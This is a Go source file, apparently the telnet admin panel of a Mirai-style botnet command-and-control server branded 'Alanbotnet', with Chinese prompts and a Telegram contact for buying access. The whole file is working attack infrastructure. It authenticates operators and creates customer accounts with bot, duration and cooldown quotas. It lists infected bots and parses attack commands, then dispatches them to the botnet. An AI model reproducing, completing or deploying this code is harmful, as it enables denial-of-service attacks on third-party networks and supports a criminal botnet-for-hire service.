package main

import (
	"fmt"
	"net"
	"strconv"
	"strings"
	"time"
)

type Admin struct {
	conn net.Conn
}

func NewAdmin(conn net.Conn) *Admin {
	return &Admin{conn}
}

func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))

defer func() {
	this.conn.Write([]byte("\033[?1049l"))
	}()
	// Get username
	this.conn.Write([]byte("\033[2J\033[1;1H"))
    this.conn.Write([]byte("\x1b[1;31m                   🤡Alanbotnet--中国自营僵尸网络🤡   \r\n"))
    this.conn.Write([]byte("\x1b[1;36m \r\n"))
    this.conn.Write([]byte("\x1b[1;33m                              🤡By:Alan🤡            \r\n"))
	this.conn.SetDeadline(time.Now().Add(60 * time.Second))
	this.conn.Write([]byte("\033[0;32mUsername:\033[\033[01;37m \033[01;37m"))
	username, err := this.ReadLine(false)
	if err != nil {
		return
	}

	// Get password
	this.conn.SetDeadline(time.Now().Add(60 * time.Second))
	this.conn.Write([]byte("\033[0;32mPassword:\033[\033[01;37m \033[01;37m"))
	password, err := this.ReadLine(true)
	if err != nil {
		return
	}
	//Attempt  Login
	this.conn.SetDeadline(time.Now().Add(120 * time.Second))
	this.conn.Write([]byte("\r\n"))
	spinBuf := []byte{'-', '\\', '|', '/'}
	for i := 0; i < 15; i++ {
		this.conn.Write(append([]byte("\r\033[01;33m验证中...\033[01;37m"), spinBuf[i%len(spinBuf)]))
		time.Sleep(time.Duration(200) * time.Millisecond)
	}
	this.conn.Write([]byte("\r\n"))

	//if credentials are incorrect output error and close session
	var loggedIn bool
	var userInfo AccountInfo
	if loggedIn, userInfo = database.TryLogin(username, password, this.conn.RemoteAddr()); !loggedIn {
		this.conn.Write([]byte("\r\033[01;90m用户名密码验证错误!请联系TG搜索:@Alan_botnets\r\n"))
		buf := make([]byte, 1)
		this.conn.Read(buf)
		return
	}
	// Header
	this.conn.Write([]byte("\r\n\033[0m"))
	go func() {
		i := 0
		for {
			var BotCount int
			if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
				BotCount = userInfo.maxBots
			} else {
				BotCount = clientList.Count()
			}

			time.Sleep(time.Second)
            if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;AlanBots[%d]--User[%s]\007", BotCount, username))); err != nil {
                this.conn.Close()
                break
			}
			i++
			if i%60 == 0 {
				this.conn.SetDeadline(time.Now().Add(120 * time.Second))
			}
		}
	}()
    this.conn.Write([]byte("\033[2J\033[1H"))
    this.conn.Write([]byte("\r\n"))
    this.conn.Write([]byte("\r\n"))
    this.conn.Write([]byte("\x1b[1;32m                          ╔══════════════════════╗\x1b[0m \r\n"))
    this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╔═╗   ╦    ╔═╗   ╔╗╔ \x1b[1;32m║\r\n"))
    this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╠═╣   ║    ╠═╣   ║║║ \x1b[1;32m║\r\n"))
    this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╩ ╩   ╚═╝  ╩ ╩   ╝╚╝ \x1b[1;32m║\r\n"))
    this.conn.Write([]byte("\x1b[1;32m                          ╚══════════════════════╝\x1b[0m \r\n"))
    this.conn.Write([]byte("\x1b[1;31m                  ╔══════════════════════════════════════╗\r\n"))
    this.conn.Write([]byte("\x1b[1;31m                  ║ \x1b[1;35m     🚀 Alanbotnet--中国僵尸 🚀      \x1b[1;31m║\r\n"))
    this.conn.Write([]byte("\x1b[1;31m                  ╚══════════════════════════════════════╝\r\n"))
    this.conn.Write([]byte("\r\n"))
	for {
		var botCatagory string
		var botCount int
		this.conn.Write([]byte("\033[1;34m\033[0;36m" + username + "\033[1;34m@\033[0;36mbotnet\033[01;37m\033[01;37m:\033[01;37m \033[01;37m"))
        cmd, err := this.ReadLine(false)

		if err != nil || cmd == "exit" || cmd == "quit" {
			return
		}
		if cmd == "" {
			continue
		}

		if err != nil || cmd == "c" || cmd == "cls" || cmd == "clear" { // clear screen
			this.conn.Write([]byte("\033[2J\033[1H"))
			this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte("\x1b[1;32m                          ╔══════════════════════╗\x1b[0m \r\n"))
			this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╔═╗   ╦    ╔═╗   ╔╗╔ \x1b[1;32m║\r\n"))
			this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╠═╣   ║    ╠═╣   ║║║ \x1b[1;32m║\r\n"))
			this.conn.Write([]byte("\x1b[1;32m                          ║ \x1b[1;33m╩ ╩   ╚═╝  ╩ ╩   ╝╚╝ \x1b[1;32m║\r\n"))
			this.conn.Write([]byte("\x1b[1;32m                          ╚══════════════════════╝\x1b[0m \r\n"))
			this.conn.Write([]byte("\x1b[1;31m                  ╔══════════════════════════════════════╗\r\n"))
			this.conn.Write([]byte("\x1b[1;31m                  ║ \x1b[1;35m     🚀 Alanbotnet--中国僵尸 🚀      \x1b[1;31m║\r\n"))
			this.conn.Write([]byte("\x1b[1;31m                  ╚══════════════════════════════════════╝\r\n"))
			this.conn.Write([]byte("\r\n"))
			continue
		}

		if cmd == "help" || cmd == "HELP" || cmd=="methods" {
            this.conn.Write([]byte("\033[2J\033[1H")) //display main header #1
            this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte("\x1B[0;33m               命令帮助               \x1b[1;36m菜单帮助（AlanBotnet）\r\n"))
			this.conn.Write([]byte("\x1b[1;33m              ╔═════════╗   ╔═════════════════════════════════╗   \x1b[0m \r\n"))
			this.conn.Write([]byte("\x1b[1;35m              ║ \x1b[1;32m ?      \x1B[1;32m║   ║ \x1b[1;32m             攻击菜单           \x1b[1;32m║ \r\n"))
			this.conn.Write([]byte("\x1b[1;35m              ║ \x1b[1;33mBOTS    \x1B[1;33m║   ║ \x1b[1;33m             肉鸡数量           \x1b[1;33m║ \r\n"))
			this.conn.Write([]byte("\x1b[1;35m              ║ \x1b[1;34mCLEAR   \x1B[1;34m║   ║ \x1b[1;34m             清除屏幕           \x1b[1;34m║\r\n"))
            this.conn.Write([]byte("\x1b[1;35m              ║ \x1b[1;35mAlan    \x1B[1;35m║   ║ \x1b[1;35m             程序简介           \x1b[1;35m║\r\n"))
			this.conn.Write([]byte("\x1b[1;35m              ║ \x1b[1;36mQUIT    \x1B[1;36m║   ║ \x1b[1;36m             退出程序           \x1b[1;36m║\r\n"))
			this.conn.Write([]byte("\x1b[1;32m              ╚═════════╝   ╚═════════════════════════════════╝   \x1b[0m \r\n"))
            this.conn.Write([]byte("\r\n"))
    		this.conn.Write([]byte("\x1b[1;33m                           🚀 Alanbotnet--中国僵尸 🚀   \r\n"))
			continue
		}
		if cmd == "alan" || cmd == "Alan" {
            this.conn.Write([]byte("\033[2J\033[1H"))
            this.conn.Write([]byte("\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ╔═══════════════════════════╗\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║\x1b[38;5;216m   Alan--不要攻击正规网站 \x1b[38;5;44m ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║\x1b[38;5;216m   Alan--不要随便传播程序 \x1b[38;5;44m ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║\x1b[38;5;216m   Alan--自营强大僵尸网络 \x1b[38;5;44m ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ╠═══════════════════════════╣\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║   \x1b[38;5;214m     Alan--Botnet    \x1b[38;5;44m   ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║        ╔═════════╗        ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ╠════════╣   \x1b[38;5;214mAlan\x1b[38;5;44m  ╠════════╣\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║        ╚═════════╝        ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ║  \x1b[38;5;214m      🤡后果自负🤡     \x1b[38;5;44m  ║\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                     ╚═══════════════════════════╝\r\n"))
            this.conn.Write([]byte("\x1b[38;5;44m                                                 \r\n"))
            this.conn.Write([]byte("\x1b[1;32m                         TG搜索:\x1b[1;33m@Alan_botnets          \r\n"))
            continue 
		}

		if userInfo.admin == 1 && cmd == "baimingdan" {
			this.conn.Write([]byte("\033[0m输入IP):\033[01;37m "))
			new_pr, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m网络掩码\033[01;37m "))
			new_nm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m我们将阻止对该ip范围的所有攻击尝试： \033[97m" + new_pr + "/" + new_nm + "\r\n\033[0m持续? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.BlockRange(new_pr, new_nm) {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "未知错误.")))
			} else {
				this.conn.Write([]byte("\033[32;1m成功\033[0m\r\n"))
			}
			continue
		}

		if userInfo.admin == 1 && cmd == "guanbibaimingdan" {
			this.conn.Write([]byte("\033[0m要从白名单中删除的前缀: \033[01;37m"))
			rm_pr, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m从白名单中删除的网络掩码放入（斜杠后）：\033[01;37m "))
			rm_nm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m我们将解除对此ip范围的所有攻击尝试的阻止： \033[97m" + rm_pr + "/" + rm_nm + "\r\n\033[0m持续? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.UnBlockRange(rm_pr) {
				this.conn.Write([]byte(fmt.Sprintf("\033[01;31m无法删除该ip范围\r\n")))
			} else {
				this.conn.Write([]byte("\033[01;32m成功\r\n"))
			}
			continue
		}		

		botCount = userInfo.maxBots

		if userInfo.admin == 1 && cmd == "adduser" {
			this.conn.Write([]byte("\033[0m用户名:\033[01;37m "))
			new_un, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m密码:\033[01;37m "))
			new_pw, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m僵尸数量\033[01;37m(\033[0m-1表示全部\033[01;37m)\033[0m:\033[01;37m "))
			max_bots_str, err := this.ReadLine(false)
			if err != nil {
				return
			}
			max_bots, err := strconv.Atoi(max_bots_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析僵尸数量")))
				continue
			}
			this.conn.Write([]byte("\033[0m攻击持续时间\033[01;37m(\033[0m-1表示无限制\033[01;37m)\033[0m:\033[01;37m "))
			duration_str, err := this.ReadLine(false)
			if err != nil {
				return
			}
			duration, err := strconv.Atoi(duration_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析持续时间")))
				continue
			}
			this.conn.Write([]byte("\033[0m冷却时间\033[01;37m(\033[0m0表示无限制\033[01;37m)\033[0m:\033[01;37m "))
			cooldown_str, err := this.ReadLine(false)
			if err != nil {
				return
			}
			cooldown, err := strconv.Atoi(cooldown_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析冷却时间")))
				continue
			}
			this.conn.Write([]byte("\033[0m- 新用户 - \r\n- 用户名 - \033[01;37m" + new_un + "\r\n\033[0m- 密码 - \033[01;37m" + new_pw + "\r\n\033[0m- 僵尸数量 - \033[01;37m" + max_bots_str + "\r\n\033[0m- 最大持续时间 - \033[01;37m" + duration_str + "\r\n\033[0m- 冷却时间 - \033[01;37m" + cooldown_str + "   \r\n\033[0m确定? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.CreateBasic(new_un, new_pw, max_bots, duration, cooldown) {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法创建新用户。发生未知错误.")))
			} else {
				this.conn.Write([]byte("\033[32;1m用户添加成功.\033[0m\r\n"))
			}
			continue
		}
	

		if userInfo.admin == 1 && cmd == "remuser" {
			this.conn.Write([]byte("\033[01;37m用户名: \033[0;35m"))
			rm_un, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte(" \033[01;37m确定删除 \033[01;37m" + rm_un + "?\033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.RemoveUser(rm_un) {
				this.conn.Write([]byte(fmt.Sprintf("\033[01;31m无法删除用户\r\n")))
			} else {
				this.conn.Write([]byte("\033[01;32m用户删除成功!\r\n"))
			}
			continue
		}

		botCount = userInfo.maxBots

		if userInfo.admin == 1 && cmd == "addadmin" {
			this.conn.Write([]byte("\033[0m用户名:\033[01;37m "))
			new_un, err := this.ReadLine(false)
			if err != nil {
				return
			}

			this.conn.Write([]byte("\033[0m密码:\033[01;37m "))
			new_pw, err := this.ReadLine(false)
			if err != nil {
				return
			}

			this.conn.Write([]byte("\033[0m僵尸计数\033[01;37m(\033[0m-1用于访问所有\033[01;37m)\033[0m:\033[01;37m "))
			max_bots_str, err := this.ReadLine(false)
			if err != nil {
				return
			}

			max_bots, err := strconv.Atoi(max_bots_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析僵尸计数")))
				continue
			}

			this.conn.Write([]byte("\033[0m攻击持续时间\033[01;37m(\033[0m-1表示无限制\033[01;37m)\033[0m:\033[01;37m "))
			duration_str, err := this.ReadLine(false)
			if err != nil {
				return
			}

			duration, err := strconv.Atoi(duration_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析攻击持续时间限制")))
				continue
			}

			this.conn.Write([]byte("\033[0m冷却时间\033[01;37m(\033[0m0表示无限制\033[01;37m)\033[0m:\033[01;37m "))
			cooldown_str, err := this.ReadLine(false)
			if err != nil {
				return
			}

			cooldown, err := strconv.Atoi(cooldown_str)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法分析冷却时间")))
				continue
			}

			this.conn.Write([]byte("\033[0m- 新用户信息- \r\n- 用户名 - \033[01;37m" + new_un + "\r\n\033[0m- 密码 - \033[01;37m" + new_pw + "\r\n\033[0m- 僵尸数量 - \033[01;37m" + max_bots_str + "\r\n\033[0m- 最大持续时间 - \033[01;37m" + duration_str + "\r\n\033[0m- 冷却时间 - \033[01;37m" + cooldown_str + "   \r\n\033[0m持续? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}

			if confirm != "y" {
				continue
			}

			if !database.CreateAdmin(new_un, new_pw, max_bots, duration, cooldown) {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "无法创建新用户。发生未知错误。")))
			} else {
				this.conn.Write([]byte("\033[32;1m用户添加成功.\033[0m\r\n"))
			}

			continue
		}

	     if cmd == "BOTS" || cmd == "bots"{
			botCount = clientList.Count()
			m := clientList.Distribution()
				for k, v := range m {
					this.conn.Write([]byte(fmt.Sprintf("\x1b[1;32m%s\x1B[0;33m: %d\r\n", k, v)))
				}
				this.conn.Write([]byte(fmt.Sprintf("\x1B[0;35m═══════════════════\r\n\033[0m")))
				this.conn.Write([]byte(fmt.Sprintf("\x1b[1;32m 僵尸数量:\x1B[0;33m %d\r\n", botCount)))
				this.conn.Write([]byte(fmt.Sprintf("\x1b[1;34m═══════════════════\r\n\033[0m")))
				continue
			}

		if cmd[0] == '-' {
			countSplit := strings.SplitN(cmd, " ", 2)
			count := countSplit[0][1:]
			botCount, err = strconv.Atoi(count)
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m无法分析僵尸计数 \"%s\"\033[0m\r\n", count)))
				continue
			}
			if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m要发送的Bot计数大于允许的Bot最大值\033[0m\r\n")))
				continue
			}
			cmd = countSplit[1]
		}

		atk, err := NewAttack(cmd, userInfo.admin)
		if err != nil {
			this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
		} else {
			buf, err := atk.Build()
			if err != nil {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
			} else {
				if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
					this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
				} else if !database.ContainsWhitelistedTargets(atk) {
					clientList.QueueBuf(buf, botCount, botCatagory)
					var YotCount int
					if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
						YotCount = userInfo.maxBots
					} else {
						YotCount = clientList.Count()
					}
					this.conn.Write([]byte(fmt.Sprintf("\033[0;31m目前有\033[0;36m%d \033[0;31m僵尸开始攻击....\r\n", YotCount)))
				} else {
					this.conn.Write([]byte(fmt.Sprintf("\033[0;31m此地址已被我们的僵尸网络列入白名单，这意味着您无法攻击此范围内的任何ip\033[0;31m\r\n")))
					fmt.Println("" + username + " 试图攻击其中一个列入白名单的ip范围")
				}
			}
		}
	}
}




func (this *Admin) ReadLine(masked bool) (string, error) {
	buf := make([]byte, 1024)
	bufPos := 0

	for {

		if bufPos > 1023 { //credits to Insite <3
			fmt.Printf("Sup?")
			return "", *new(error)
		}

		n, err := this.conn.Read(buf[bufPos : bufPos+1])
		if err != nil || n != 1 {
			return "", err
		}
		if buf[bufPos] == '\xFF' {
			n, err := this.conn.Read(buf[bufPos : bufPos+2])
			if err != nil || n != 2 {
				return "", err
			}
			bufPos--
		} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
			if bufPos > 0 {
				this.conn.Write([]byte(string(buf[bufPos])))
				bufPos--
			}
			bufPos--
		} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
			bufPos--
		} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
			this.conn.Write([]byte("\r\n"))
			return string(buf[:bufPos]), nil
		} else if buf[bufPos] == 0x03 {
			this.conn.Write([]byte("^C\r\n"))
			return "", nil
		} else {
			if buf[bufPos] == '\x1B' {
				buf[bufPos] = '^'
				this.conn.Write([]byte(string(buf[bufPos])))
				bufPos++
				buf[bufPos] = '['
				this.conn.Write([]byte(string(buf[bufPos])))
			} else if masked {
				this.conn.Write([]byte("*"))
			} else {
				this.conn.Write([]byte(string(buf[bufPos])))
			}
		}
		bufPos++
	}
	return string(buf), nil
}
